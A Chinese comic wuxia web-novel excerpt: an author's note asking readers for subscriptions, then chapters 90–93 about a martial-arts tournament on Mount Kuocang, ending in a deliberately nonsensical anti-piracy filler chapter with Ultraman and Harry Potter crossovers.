每一位武侠大师都在解答着这个问题,他们以各自的理解向我们展示了各不相同却同样精彩的江湖故事。 我所理解的江湖,应是虽有拘束却能仗剑天涯,应是兼济天下而居庙堂远之。 在我们这个时代,虽然没有那种江湖,但很多人的心里,却都存着那个江湖。只是,做不到,得不到,享不到。 纵使江湖人有错,但江湖没有错。因为追求江湖,所以江湖才会消失。(若看不懂,就当我癔症了,因为不能说得太明白。哈哈......) 如果说第一卷的剧情中,姬旦丙完全没有主角光环,那么从第二卷开始,姬旦丙的崛起会让大家觉得这个主角的光环,依旧不那么明亮......哈哈哈...... 但我相信自己,我构思的故事,还是很有意思的。另外,还有人问我,李小谦去哪里了?难道他也像圆通一样神神秘秘地退场了? 那是不可能的!哈哈哈......李小谦作为一个穿越来的人物,承包了全书百分之七十以上的笑点,如果说姬旦丙是捧哏,那么李小谦就是最明显的逗哏。他会在一个适当的时机回归,那个时机需要体现他一味趋利的小人性格。 最后,在上架之前我要发一轮感谢。 首先要感谢我的责编炒饭,一个非常平易近人的女(xiao)编(gu)辑(niang),每天都在群里跟我们胡侃乱调,氛围一向很好。 其次要感谢所有在我码字过程中给我鼓励和支持的朋友们,感谢你们对《江湖是怎么没的》的认可。 尤其是要感谢三观犹在大神,收到章评的那一刻,我差点没乐疯,在群里各种显摆,被兄弟们各种羡慕,三观大神的鼓励给了我极大的动力,让我感觉到自己可能真的还行。 感谢d委副统领,他是我看到的第一个追更的人,同时推荐海皮刀的大作《我真不是剑仙》,因为工作和码字的原因,虽然我读的很慢,但不得不说,他文笔很优秀,整书也很有喜剧风格。 感谢我是姬旦丙,他是第一个使用了书里人物名称的铁杆,虽然他总是爱发一堆评论,频频把三观大神给我章评淹没下去,但是,不得不说,他喋喋不休的评论一直给了我很大的动力。 感谢姬压娥,感谢他帮我推书,他是第一个自称是《江湖》书迷的读者,而且,他总是在我写作乏力的时候警告我不能断更,不许太监,让我以此鞭策自己,能够整理思绪,继续码字。 感谢司徒清尘的客串,他的大名,将永远留在这个江湖中,即使江湖不在,他的名字永远都在。(同时,推荐司徒清尘大作《证道记》!) 最后,我想厚着脸皮求一波首订。我是一个憋不住的人,急性子,我特别想知道到底有多少人在读我的书。所以,我恳求正在默默地读书,并且还想要继续读下去的朋友们,麻烦你们在上架当天给个首订,即使还没读到后面的章节,请我让看到你们的存在。 请大家放心,只要江湖还在,我便绝不懈怠! (请支持纵横中文网正版阅读,不要笔趣阁、趣笔阁......稿费也是我继续写作的动力!) 第二卷 武林盟的开始与结局 第九十章 上山 雷宇连发五道银针之后,掉头便走。 我急忙喊他:“站住!” 雷宇驻足冷笑,说:“你伤我师兄之事,今日暂且作罢。这笔账,咱们日后慢慢算!”说完,他又要走。 我说:“你站住!” 雷宇转身,问:“你还有什么事?” 我指着那蓝衣少年现实的地方,问:“那人是谁?” 雷宇淡淡一笑,说:“不知道你在说什么!” 没等我再多说一句,他疾步向着巷子中跑去。雷宇走后,停滞了许久的人群又开始流动。他们嘴里发着意犹未尽的感慨,似乎这场大戏让他们颇感失望。 回到鲁家客栈时,柳无风正在凝神摆弄着他那柄刀,他认认真真地将断口出对接在一起,点头说道:“修一修,还能用!”柳无风见我回来,便把刀放在桌上,问我:“怎么样了?” 想起刚才的事,我心中已然有气,不愿搭理他。柳无风看了我一会儿,或许是发现我并不理他,便自己掰着手指头,嘴里喃喃有声,似乎是在算计什么。 我问:“你在算什么?” 柳无风说:“算银子!” 算银子?我问:“算什么银子?” 柳无风说:“修刀的银子。” 我说:“直接去修就行了,有什么好算的?” 柳无风说:“我算一下按新铸一把刀的价钱去报销,能剩多少钱!”忽然,他双手一拍,说道:“不错!” 我问:“什么不错?” 柳无风笑着说:“能剩下不少。” 这时,我在心中只觉得柳无风更加令我厌恶,几日来对他积攒的好感荡然无存,我也不愿再与他多说一句,起身正要离开,但柳无风却叫住了我。 我问:“还有什么事?” 柳无风说:“你们比得到底怎么样了?” 我说:“与你无关!”我忽然想起那个消失在街巷中的那个少年背影,我猜测,那个人应该是易小心。可是,他为何会出现在人群中,眼看着我与雷宇比试却始终不肯现身? 而且,我几乎可以确定,那最后一根银针是他发出来的。我见过他的身手,我断定他有那样的实力。 柳无风的手在我眼前晃了晃,将我的神思拉了回来。他说:“发什么呆?” “没事。”我不愿与他废话。但是,想起易小心,我却忍不住地说:“我看到一个人。” “谁?”柳无风问。 我说:“易小心。” 柳无风说:“那又如何?”他又开始低头摆弄那把断刀。 看着柳无风漠不关心的样子,我不禁感慨:“如果小月在就好了,她那么聪明......” 小月! 想起她,我不由得又是一阵失落。 她到底去了哪里? 时间过得很快。五日的光景仿佛只在眨眼间便已过去。这五日以来,永安镇愈发热闹了。青云、南华、龙虎、月牙山庄四大门派均在永安镇出现。福建、江西、广东一带的帮派,如双刀门、阔刀门、汀泉派、南剑门以及往生堂五大门派也都陆续赶来。 各大门派表面上看起来一团和气,但隐约间总让我感觉其中正流淌着一股诡异的暗流。 冷风扑面,我和柳无风站在客栈的门口。初阳打在柳无风的脸上,他表情异常凝重,问我:“你感觉到了吗?” 我重重地点了点头,说:“感觉到了!” 柳无风调头回了客栈,我问:“你去哪?” 柳无风边走边说:“太冷,我回去换件衣服!” 片刻功夫,柳无风裹了一件毛皮大袄走了出来,怀中抱着他那把硕大的宝刀,看起来像极了常年驻足山林的悍匪。 这时已是二月下旬,阳春三月即在眼前。我看着柳无风的装扮,忽然很想笑,想着想着便真的笑了出来。 柳无风说:“笑什么?!” 我说:“你觉得不热吗?” 柳无风抹了一把额头上已渗出的汗水,说:“尚可!” 括苍山,巍峨耸立,即使刚刚历经寒冷的冬季,山上长青的松柏依旧冒着一片葱葱郁郁的墨绿。 上山的斜径上,人群拥挤,到处都是手持刀枪棍棒的江湖人士。 他们来自各门各派,各种穿着这代表他们帮派的服饰。山路上比肩叠迹,挥汗如雨,让上山的羊肠小路更显得狭小。 但在这一样不见边际的人群中,却没有各大门派掌门的身影。 据说,他们昨日便已接到了括苍派掌门陈伯洋的邀请,提前上山去了。 “他们竟然不邀我!”我顿生一股怒火。 柳无风说:“凭什么邀你!” 我说:“我可是武林盟主!”四周一片人登时扭头,向我投来疑惑以及鄙夷的目光。 柳无风用力抓住我的肩膀,俯到我耳边说:“你若再敢提这四个字,我便告诉皇上!” 走着走着,人群更加拥挤。到最后,竟然是我的前胸贴着别人的后背,寸步难行。 “前面怎么了?”柳无风拍了拍前面人的肩膀,问。 被夹在人与人之间,想要转身却怎么也转不过来,只得艰难得歪着头,说:“括苍派的人在前方设了一道关卡。” “设关卡做什么?”我疑惑不解,问,“莫非不让上山了?!” 这时,另一个人也歪过脖子,说:“你不知道?自从前任武林盟主白景行要求武林各大门派自律求存之后,扩仓派便率先响应,关闭了那些有违律法的营生。这么大的门派,人吃马嚼,很快就入不敷出了。后来他们掌门陈伯阳突发奇想,便在半山腰设了一道关卡,售卖上山的门票,以此赚些糊口钱。” 我心里一凉,摸着胸口仅剩的几两碎银,问:“一人收多少银两?” 那人说:“以往每人收一两银子,但这次括苍派的人声称是旺季,门票钱水涨船高,也翻到了二两。” 我的心里一阵绞痛。 柳无风闻言,一脸喜悦,说:“太好了!” 我想,他又在盘算着如何报假账的问题。 果然,不出我所料。关卡处,身着括苍派服饰的年轻弟子不耐烦地指了指跟前的木牌。 木牌上大字写着:“上山,每人二两!”那个“二”字的一道横墨色极重,显然是新加上的。 柳无风爽快的掏出了一锭五两的银子递给那名括苍派弟子。那名弟子没有接,反而不耐烦地说:“没钱找零!” “咣当”一声,柳无风将银子扔在桌面上,说:“不必找零,我二人四两,余下一两给你作酒钱。” 那名弟子登时喜笑颜开,说:“这位大哥真是太客气了。”说罢,将那银子踹入怀里。 柳无风说:“给我写个字据。” 那弟子一怔,问:“写什么字据?” 柳无风说:“收银子的字据。” 那弟子一副恍然大悟的表情,说:“明白,明白!”他转头对身旁弟子说:“写,收纹银五两!” “每人五两!”柳无风说。 那弟子立时满头大汗,问:“大哥,您是那个部门的?” 柳无风双目怒视,说:“别问!” 拿着十两纹银的字据,柳无风的脸上再次露出了笑容。我问他:“你这一路收了多少?” 柳无风警惕的看着我,说:“不关你的事!” 括苍山顶,一片威严的楼宇,青砖碧瓦间闪烁着岁月的印记。 进括苍派的山门,绕过正殿,殿后是一个方圆数十丈的方形广场。场中央高耸的刀型石碑上刻着恢宏大气的几个大字:“斗剑场”! “明明是个刀,为何叫斗剑?!”我不解。 身旁负责解说的括苍派弟子说:“先辈祖师将此处命名为斗剑场,便是怀着与天下剑法一决雌雄的雄心壮志!” 持刀的双刀门与阔刀门弟子晃了晃身子,一脸得意。持剑的青云弟子纷纷冷哼,满脸不快。 最尴尬的是龙虎帮的弟子,他们有的拿刀,有的握剑,彼此对望一眼,似有流波闪动,竟有几分暧昧之意。 “诸位英雄!” 忽然,斗剑场正北方的高台上,传来一阵浑厚的嗡鸣声。 竟是一口铜钟侧翻,顶部不知为何被掏了一个窟窿,阔口朝向场中央。 在那个窟窿里,我隐约看到一张苍老而熟悉的脸庞。那人正是陈伯洋。 “今日有幸,邀请天下英雄到括苍山一聚,共商大事。”陈伯洋这次喊得颇为轻松,那口大钟将他嗓音放大数倍,并发出一阵嗡鸣,让他声音更显得浑厚有力。 陈伯洋的身后,另有九道人影。那些人均是去年中元之夜曾在娄琴客栈齐聚一堂的十大门派掌门。只不过,日月轮替,物是人非,当年年龄最长的白景行,换成了一脸稚气的易小心。 这一刻,终于到了!此次,括苍派的武林大会,定然会选出新任的武林盟主。 而我,即将代替白景行,站在那个高台上,面对着天下英雄,振臂一呼,群呼百应。 我看了一眼柳无风坚毅的脸,透过他笃定的眼神,我看得出他内心中满满的自信。 我下意识地整了整衣衫,心中更加紧张。望着前面摩肩接踵的人群,我向前迈了一步,只感觉离那高台,又近了一步…… 第二卷 武林盟的开始与结局 第九十一章 比试 陈伯洋放在高台上的那口钟果然发挥了奇效。 同样浩大的场面,他的表情却完全没有巢湖武林大会时所显现的那般艰难。即便是我与柳无风已经站到了人群的最边缘,与那高台之间隔着成千数百的各派弟子,但他的声音依旧十分清晰,仿佛说话的人就站在我耳边一样。 陈伯洋说:“前任盟主白老英雄不幸逝世,江湖武林再度群龙无首。皇帝虽然明发诏旨,不再插手江湖的事务。但近来,朝廷却屡屡委派官员,到各大门派巡视。其管制之心,已昭然若揭。” “哼!”柳无风忽然冷哼了一声,说:“胆大包天!” 我不解,问:“什么胆大包天?!” 柳无风说:“他言下之意,莫不是在公然质疑朝廷!” 他是皇上的人,心中自然向着朝廷说话。但在我看来,陈伯洋所陈述的,无非是一些已经发生的事实。 我说:“他说得没错!” 柳无风瞪了我一眼,说:“你站错队了!” 我看了一眼前后如羊群一般拥挤在一起的人群,杂乱无序,问:“队伍在哪里?” 这时,陈伯洋又说:“今日,我括苍派斗胆召集各大门派的英雄好汉,便是要与各位英雄商议,如何推举出新的武林盟主。一则,带领各大门派继续自律,二则,能与朝廷协商,为江湖谋取一线生机。” 场上当即爆发出雷鸣一般的议论。我的心也已经提到了嗓子眼儿。 我不能抑制地浑身哆嗦,问柳无风:“快!我要怎么做?” 柳无风只淡淡地说:“等!” 还要等?! 我说:“不能再等了!他们马上要选武林盟主了!如果他们选出来的不是我......” 柳无风忽然阴冷地笑了笑,说:“那不更好?!” 我的心猛地往下一沉,头脑一阵晕眩发蒙,问:“你,你什么意思?” 柳无风冷冷地说:“皇上有旨,若今日择出武林盟主,无论是何人,必先除之。” 我大惊,问:“为什么?” 柳无风不再说话,他面无表情地看着人群尽头的高台。透过侧倒的那口铜钟顶部的窟窿,可以看到陈伯洋严肃的脸。 这到底是为什么? 皇上不是说,要我做这武林盟主吗? 他让柳无风带 我来括苍山,若不是扶我做武林盟主,又会是什么意思? 我隐约感觉到,皇上与柳无风之间,正在酝酿着一场阴谋!而这场阴谋里,定然安排了我的戏份。不然,他们为何又要叫我前来?只可惜,小月不在,娄琴不在,李小谦也不在,而我,却看不懂,猜不透! 我壮着胆子,说:“你们有阴谋!” 柳无风表情陡然变得无比惊讶,他瞪着我,问:“你怎么知道?!” 我说:“我猜的!你们有什么阴谋?!” 柳无风呼了一口气,放松下来,说:“原来你不知道!” 说话间,陈伯洋已经说过了无数句煽动场上情绪的话,此时的括苍派斗剑场上,群情激奋,议论声、呼喊声、叫骂声此起彼伏,已近鼎沸之势。 但我沉浸在这一场阴谋的惊骇中与漫无边际的猜测之中,根本没有听到心里。 突然,柳无风举起手大喊了一声“比武开始!”这才将我的思绪陡然拉回到括苍派的斗剑场上。他话音刚落,一个括苍派的弟子,举着一个硕大的铁锤,“当”的一声敲响了铜钟。 纵使是侧翻在地,那口硕大的钟依旧发出了声波远扬、振聋发聩的嗡鸣。 陈伯洋站到一旁,随后一个身着印花锦衣的蒙面男子走上到台上,他与陈伯洋对视一眼。只见陈伯洋默默地点了点头,做了一个“请”的动作,那蒙面男子便走到铜钟的窟窿前大喊:“根据昨日十位掌门的抽签,本次武林盟主决胜赛,首轮比试分成五组,两两对决,胜者晋级,败者出局,第二轮比试规则稍后再行公布。本次比武各位掌门应以点到为止为原则,凡伤人者,视为出局。”那蒙面男子又望了陈伯洋一眼,陈伯洋微微一点头,那男子大喊:“我宣布,比试开始,第一场,阔刀门门主陈大刀对阵往生堂堂主何白旗。” 不知为何,无论是看那蒙面男子的身形还是听他说话的声音,都觉得特别熟悉。 铜钟又一次被敲响了。场上所以的人都退避到东侧,在一排竹椅上落座。场上只剩下持刀的陈大刀和一脸凝重的何白旗,何白旗手上攥着一根三尺长的黝黑铁棍,在阳光下闪耀着黑亮的油光。 两人彼此凝望,各自摆开架势对阵。陈大刀“呼”的一声撩起长刀,何白旗“唰”的一下挥动铁棍。两人之间隔着三步的距离,在场上缓步画圆,却谁也不肯上前一步。 半个时辰过去了 两个人的额头上均已冒出汗来,但却依旧没有动手。 “喂!还打不打了?!” 场下不知是谁不耐烦地喊了一声,吸引了何白旗的目光。但话音刚落,陈大刀高高举起的长刀陡然转势,画着华丽的弧线斩向了何白旗手中的铁棍。 “小人!”柳无风重重地哼了一声。 何白旗显然对陈大刀的突然发难没有丝毫防备,他只能疾步退却,无奈脚下一划,整个人向后仰倒,眼见就要后脑着地,败局已定。 陈大刀满脸惊喜,一刀不中紧接着又是一刀,依旧是那道华丽的弧线,在阳光下犹如划出了一刀亮白色的天虹。 何白旗并没有如我想象的那般后脑着地,他手中的铁棍向后一杵,竟把自己已然倾倒的身子死死地撑住了。 但是,这样的死撑显然已经没有意义了。他以铁棍兵器撑住身子,却又要那什么去抵挡陈大刀劈斩而下的刀锋?! 我叹了口气,说:“陈大刀赢了。” 正在我叹息之间,竟然见到何白旗举起了左手,挡在胸前! 难道他要用血肉之躯来抵挡锋利的刀刃吗?! 我震惊不已。何白旗的胳膊上被陈大刀砍出了一道骇人的口子,鲜血直流,染红了一大片衣袖。 何白旗一个侧身打滚,翻出去一丈多远,随即鱼跃而起,兴高采烈地大喊:“我赢了!我赢了!”他挥舞着血淋淋的胳膊,似乎是披甲而归的胜将在炫耀着自己功勋赫赫的兵刃。 疯了!何白旗疯了! 我心里想着,不禁一阵惋惜。 蒙面男子看了陈伯洋一眼,陈伯洋又点了点头。他走到铜钟的窟窿前,大喊:“第一场比试,阔刀门门主陈大刀违规伤人,出局!往生堂堂主何白旗胜出!” 场下一片沸腾! 陈大刀狠狠地摔了大刀,在台上暴跳如雷,口中念念有词,却淹没在场中已沸腾的人声中。何白旗依旧在挥舞着胳膊欢呼,他的欢呼声也同样淹没在场下浩浩荡荡的议论声里。 这一场比试,转折,忽然又转折,已经让我彻底蒙了。我看着柳无风,问:“这是什么情况?!” 柳无风又哼一声,说:“都是小人!” (推荐:心情马甲的爆笑《决不能怂》又名鸡儿飞。话说,一个人一只鸡,携手争霸异世大陆。) 第二卷 武林盟的开始与结局 第九十二章 二三 山风呼啸,吹过括苍派的斗剑场,吹乱了许多人的头发,却吹不乱人们的思绪。 因为,所有的人都在紧张的凝望着斗剑场北侧搭起的高台。 旌旗飘扬,铜钟再次发出“当”的一声嗡鸣。年长的陈伯洋手中端着金丝缠绕的宝刀,脸上的严肃几乎是从骨髓里冒出来的一般。 他对面伫立的是一个蓝衣的少年。他嘴角上扬,看不出一丝的紧张,眉宇间尽是不符合他年纪的淡定。 场上一片寂静。这本应是一场最受关注的比试,但这场比试却来得太早了。 易小心郑重抱拳,说“前辈,还请手下留情!” 陈伯洋并没有说什么。他攥紧了金丝宝刀,刀光一闪,刀锋化作金光冲向易小心。 “哇!” 场下一片惊呼声。但惊呼未止,尖叫又起。那道金色的刀锋直直地穿过了易小心淡蓝色的身躯。 “啊!青云派的小掌门被劈成两截了!”场中不知谁尖锐地吼了一声。 我心里咯噔一声,感觉一颗心几乎要从我喉咙中跳出来了。我想象着易小心被劈成两半的模样,被劈开之后的易小心,一左一右,还能不能向他长得这般对称。 陈伯洋惊得满脸冒汗,他瞪着不敢置信的眼睛,死死地盯着那道淡蓝的影子,手中的刀在颤抖,手在颤抖,整个人都在颤抖。 突然,原本真真实实伫立在陈伯洋对面的那个少年,那道淡蓝色的身影,竟然起了涟漪。如同水中倒影一般,在空气中摇晃。 怎么会这样? 然而,我尚未看明白发生了什么,被金光劈开的淡蓝身影已涣然消散得无影无踪。随之而来的,是一道淡蓝色的魅影还有那一闪而过的雪亮长剑! 陈伯洋满脸骇然,横刀格挡。蓝影与金光相撞,迸射出如漫天星辰一般密实的火星。 那道蓝影站定之时已跃到了陈伯洋的身后。陈伯洋慌乱地转过身去,凝视着淡然如斯的易小心。场中再次陷入了死一般的沉寂。 “真厉害!”我忍不住地感慨。 柳无风却不屑地说“雕虫小技!” 我实在已无法忍受柳无风故作高深的姿态,我说“比你强太多了。” 柳无风白了我一眼,说“未必!” 他说得很认真,如果不是我亲眼见到他的刀被雷宇一剑斩断的场景,我几乎就要相信他是一个深藏不露的绝世高手。 易小心与陈伯洋在对话。只是这次他二人的声音很小,我如何也听不清楚。 忽然间,易小心荡剑刺向陈伯洋。陈伯洋连连向后退却,很快到了高台的边缘。但陈伯洋却丝毫没有要停下的意思 。 “哎呀!” 高台边一声惊叫。接着惊叫声接连响起,呈一条直线向我靠近。只见是陈伯阳踩着无数人的脑袋,快速向我退来。 眼间着他离我越来越近,再踩七八个便要准准地踩到了我的头上。 想我堂堂武林盟主的头,怎么能让人说踩就踩。 我的左边是一个浑身肉膘的肥腻大汉,右边是身材魁梧面无表情的柳无风,后面是比我高出整整一头的黑脸汉子,前面是踩着一片脑袋正快步向我退来的陈伯洋。 眼见陈伯洋的脸还有几寸便要落在我的头上,我心里一急,猛的蹲了下去。 “啊!” 陈伯洋一脚踩空,大叫一声,一头栽入人海。他的肩头压在我的肩头,整个人两脚朝天,脑袋向下,被众人扶住。 在一圈长腿与屁股的包围下,我和陈伯洋对视一眼。他叫道“是你?!” 我艰难地挺直身子,说“是我!” “当” 远处,铜钟翁鸣。传来那蒙面人庄重地呼喊“青云派掌门易小心晋级!” “他娘的!”陈伯洋骂了一句,努力地在密密麻麻的人群中正过身子,大喊,“老子没输!老子的海皮刀法还没使出来呢!” 他身材矮小,在四周高大的人群中又蹦又跳。但无论是人,还是声音,都湮没在茫茫一片的人海之中。 “第三场,南华派掌门司徒清尘对阵双刀门门主管天下!” 这一声喊完,陈伯洋绝望地垂下了双手。他闭上眼睛,长叹一声,缓缓的摇头,说“罢了罢了,这便是天意。他生时便不会是我,他死后依然不是我,这便是我的命了。” “你说的他是白景行吗?”我问。 白景行忽然睁开了眼,怒视着我,近乎是咆哮的向我吼“都是你,都是你!老夫要杀了你!” 忽然之间,他在人群中举起了刀。金丝缠绕的宝刀在阳光下闪耀着夺目的金光。 只下一刻,那柄刀金色的刀锋便要斩落在我的头上。四周人纷纷向后退却,我急忙去摸藏在袖中的九郎剑。但是已经晚了,陈伯洋的胳膊已经开始下移。只一眨眼的功夫,刀刃将劈开我的头颅,我的生涯就此终结! 我头脑中一片空白。眼睁睁的看着他的胳膊快速的下移,他握着刀柄的拳头贴着我的脸挥了下去。 我慌乱的摸着自己的脸。安然无恙! 陈伯洋一愣,抬起双手,确是两手空空。 “刀呢?”陈伯洋疑惑,“老夫的海皮刀呢?!” “你的刀不错。”陈伯洋的身后传来柳如风诚恳的赞许,“很好!” 陈伯阳一 转头,才发现他的刀不知何时落入了柳无风的手中。 “你,你什么时候……”陈伯洋一副匪夷所思的神情。他瞪眼看着柳无风,看着他手里的刀,忽然眉头一皱,恶狠狠地说“把刀还给老夫!” 柳无风竟然真的把刀还给了陈伯洋,他冷冷地说“你不能杀他!” 陈伯洋看了看我,又看了看柳无风,鼻子里重重地哼了一声,转身推搡着人群,大喊“让开,让开,让老夫过去!” 看着柳如风,我已惊讶的说不出话来,他方才的表现与五日之前败给雷宇的那场,判若两人。 柳无风并没有跟我说一句话,而是面无表情地看向北方,看向那个搭起的高台。 这时,司徒清尘手中提着的半截银枪已得有一丈多长。他大喝一声,一把扯开了上衣,锦衣绸缎的褂子被他撕了个粉碎。司徒清尘的脸上突然露出一丝痛苦的表情,他看着满地的碎布,双眼之中布满了悔意。 司徒清尘袒胸露乳,肚皮的肥肉堆叠压出一道道褶子,像极了八十老人额头上的横纹。胸口那个鼓鼓囊囊的猫脸刺青,张着血盆大口,呲着尖锐的獠牙,却已全然没了猛虎的模样。 场下传来稀稀拉拉的笑声,许多人捂着嘴不敢放声大笑。但这时,管天下,从腰后拔出两把菜刀,左右各挥一下。 忍笑的人再也忍不住笑了,人群顿时笑成一片。 司徒清尘和管天下的脸上皆是一阵青紫,极尽尴尬之意。随即他们便甩开膀子干了起来,将那些笑声抛猪脑后。 司徒清尘从一个好大腰圆的胖子陡然之间变成了一个灵活有力的猛虎。他手中的长枪,锋芒毕露,闪烁着夺命的银光。长枪在他手中刺、顶、颤、挺,宛如龙蛇飞动,快若浮光掠影,近乎出神入化。 管天下也不示弱。双刀在他手中,凛若秋霜。如镜般的刀身冷气森森,刃口上高高的烧刃中间凝结着一点寒光仿佛不停的流动。双刀在他脸前挥舞的一片雪亮,几乎将他整个人都隐匿在其中。 一时间木屑飞扬,萧萧落如雨下。司徒清尘与管天下几乎同时大喊一声“收!” 两人同时收起兵刃。漫天飞扬的木屑缓缓落下,露出两人瑟瑟的身影。 犹如拉开了一片巨大的帷幕,高台后,两根支撑殿宇的红柱上赫然出现了两行大字。 管天下一侧的柱子上写道“你没有我快!” 司徒清尘一侧的柱子上写着“还是老夫快!” 管天下摇了摇头,大声说道“我输了!” 司徒清尘点了点头,朗声笑道“承让!” 我看的一头雾水,问柳无风 “为什么是管天下输了?” 柳无风淡淡地说“关键在那个‘还’字!” 我看了看,恍然大悟,说“有那个‘还’就说明司徒清尘先知先觉,提前预料到了管天下要写什么!司徒清尘是赢在了自身的聪慧上!”我心里顿时生出一阵佩服。 “不!”柳无风说,“因为那个字的比划比较多!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第九十三章 四五 陈伯洋拨开拥挤的人群,跃上高台。看到撑起宇的红柱上,被司徒清尘与管天下一左一右各刻了五个大字。他一张脸登时胀得通红,举起右手翘着食指,不停的颤抖。 “一百年啊!一百年啊!”陈伯洋吼道,“我括苍派建派一百年了,这些柱子上莫说是刻字,连对联儿都没舍得贴过。你们两个混账王八蛋,竟敢,竟敢……” 司徒清尘俏皮的吐了吐舌头,耷拉着脑袋,跑到东侧的竹椅上坐了下来。 管天下歉意地抱拳,也回到了原位就座。陈伯洋无奈的摇头,一脸的愤怒久久不能消散。 司徒清尘将上衣撕了个粉碎,此时的他正坐在竹椅上,东张西望,左右顾盼,抱着自己油腻的躯在冷风中瑟瑟发抖,脸上竟还挂着难为的羞涩。 蒙面男子又走到那口铜钟前,对着那个窟窿大喊:“第四场比试,汀泉派掌门伍黑龙对阵南剑门门主廖七嫂。” 话音一落,首先走到台中央的是一名穿着一黑衣的冷艳妇人,她那鹅蛋型的脸上明眸闪烁,略有些黝黑的皮肤,透着别样的美。 她手上的三尺青铭宝剑,隐在棕褐色的剑鞘里,护手上镶嵌的一颗鸟蛋般大小的红珠,闪耀着如她一般冷艳的光。 反对盗版,作者写书不容易,请支持纵横中文网正版阅读。 话说风一吹我的头发都要竖起来了,柳吴峰说,怎么起风了,不是说没有风吗? 话说这个时候还管什么?有风没有风啊。牌子上的人都打起来了。 经过了三场比赛,弄出了三个人,还剩下两场比赛没有比。那个黑衣蒙脸的傻子,站在那口大中前又喊,两两对决太麻烦了,干脆一起上。 剩下的四个人大喊一声,哇哇,我cāo),搞就搞,打起来更爽。一个人说老子就喜欢打群架,1对1的但比老子还不喜欢呢。 四个人有拿刀的,拿剑的,拿枪的,拿棍儿的。站在台上,当时是滚做一团。拿剑的插了,拿棍儿的股拿棍儿的人捅了,拿枪的脯。拿枪的大喊一声,把台子捅了一个窟窿,拿刀的人跳到一边说,看你们这群傻bi)一个劲儿的打,我就想笑。 就是我没有告诉你们老子是来自m78星云的泰罗奥特曼,老子脑袋上的犄角比你这个雷欧奥特曼大多了。 我从兜儿里掏出象征着泰罗奥特曼的星星,往脑袋顶上一扣。我感觉自己的体在变大,很快,我变得和陈伯阳一样大。 陈国阳大惊失色,但是他那张面瘫的脸看完全看不出来,但是我已经深深的感觉感感受到了他内心的惊恐。 所有的人跑到一边开始大喊,打一架 打一架。 老子心想我靠,打你妹啊,我们才是一家人好吧。显然陈伯阳和我想到了一处,他伸手拉着我的手,我顿时感受到一片无比光明的激。 柳如风也不甘示弱,掏出一个银白色的水晶球往地上一摔,突然一个巨大的恐龙从银白色水晶球里蹦了出来,越来越大越来越大,大的和我们一样大。 我指着柳吴峰说没有看出来,原来你才是最大的boss。 柳无风哈哈大笑说玩儿脱了吧你们。老子会的花招还很多呢。 他把怀里抱着的大刀往外一把咣啷一声拔出来的,根本就不是一把刀,而是一把满裂纹石头材质的剑。 柳吴峰大笑说不错,看我给你放个诛仙剑阵。 说把他腾空跃起,在空中踏着七彩祥云,挥舞常见无数道白色的气剑向我们打来。 易小心哈哈大笑说,你有张良计,我有过墙梯。他从腰里拔出一个黑不溜秋的东西。 我定睛一看,我看,这不是张小凡的烧火棍吗? 易小心说你看着它是烧火棍,其实它不是烧火棍,他是哈利波特的魔法杖。 说完,他就用烧火棍啊,不是魔法杖指着我们说,阿瓦达索命咒。 我心里一凉说完了这个东西铁定要扎死一片了。但令我没有想到的是烧火棍阿布,魔法杖的头上冒了一股青烟,顿时着了起来。 易小心满脸惊恐,卧槽,什么况? 陈博阳冷笑一声说瞅你那小样,英语连4级都没过,还在这儿学伏地魔放阿瓦达索命咒。 易小心痛哭流涕将烧毁的烧火棍,啊,不,魔法杖扔到地上,说:“我要回去学4级,等我过了6级再来搞你们!” 青云派败下阵来,这个时候司徒清晨又上场了,他扯着自己腰间的说。不要以为我是个胖子,其实我是个瘦子,说完他一扯腰间的,血模糊。 但最让我惊讶的是,他竟然真的变成了一个瘦子。 司徒清晨说你听说过爆胎易筋丸吗?老子来比武之前就先吃了一颗。 我说我cāo),你串场串得太厉害了吧,鹿鼎记里的桥段都被你搞过来了。实在是太过分 司徒清晨很不服气,他说你们变奥特曼就不过分吗? 我说大家都心平气和的谈一谈,我们这样变来变去的,哪里还有一点江湖气。 说好了这是一本武侠,你们一会儿又,慢一会儿又哈利波特,一会儿又金庸。这实在也太乱了,你让读者们怎么受得了啊? 陈柏杨哈哈大笑,说,这场戏接下来我们要怎么演,怎么也要演完呀。凑也要凑个3500字才好。 我说不如我们来唱首歌吧。 陈 我没有直接回答他,而是开口就唱,让我们dàng)起双桨,小船儿推开波浪,迎面吹来了,我忘词了,你们知道的请写在后面。 陈伯洋气得哇哇大叫,说你这是搞的什么东西凑字数也没有你这么凑的。 我说我已经很努力了,你行你上呀。 陈伯阳还没有说话,司徒清晨大手一挥说我来。为一个纵横的作者,我也是恨透了那些盗版的网站,还有那些白飘的读者,最可气的是一个读者明明在白piáo),竟然还要厚着脸皮跑到我书圈里来催更。 我说我知道,我知道。 陈国阳说你个傻子,那明明就是你自己的读者,是你自己没有看仔细,因为人家在看的盗版。 司徒清晨一脸委屈,说,谁让盗版这么猖獗,弄得我整天草木皆兵。 我说你们都别说话了,我这都快写不动了,快给我想想办法,怎么才能把这3500字凑出来,我看了一下上面的字数显示现在才2700多字。 司徒青撇了一眼我的手机。说你瞎呀,明明是2300字,你睁着眼说瞎话,到最后写不出3500你赔呀? 我说不要说那些没有用的了,赶快想想怎么凑字数吧。 司徒清晨说我有一个好办法,我给你们讲一个故事吧,话说从前有个山山里有个庙,庙里有个老和尚,老和尚在干什么呢?他在讲故事,讲什么故事呢,从前有座山,山上有个庙 我看司徒清晨想把这个无聊的故事无限循环,我当时就制止了他,我说你快住口吧,就算是来凑字数也不能凑得这么草率吧。 司徒清晨说给盗版网站供稿,哪里还有那么多讲究?你也真是的,如果是我,我就直接写一堆,12345456788910,等等等等等等。 我说我是一个认真的人,严肃的人,我不想和你这样草率的就搞个3500字出来。 司徒清晨撇了我一眼说,难道你这样还不够草率吗?为了这么一张破东西已经浪费了快半个小时的时间了,你还有完没有完啊?外面的蚊子这么多,你没有感觉到吗?上已经被咬了4个大疙瘩,你就不痒痒吗? 我说我痒啊,虽然我很痒,但是我是一个很坚毅的人物,一定要写完3500字给盗版网站凑一个前无古人后无来者的稿子。 司徒倾城说,那么你就开始骂人吧,骂比,奇文学各种各种盗版网站。问候一下他们的八辈儿祖宗。 我说不能这么干,我们都是有素质的人,当今社会的五好青年,五好青年的荣誉称号在向我们召唤,我们怎么能做这 种事呢好吧,,奇文学滚你吗 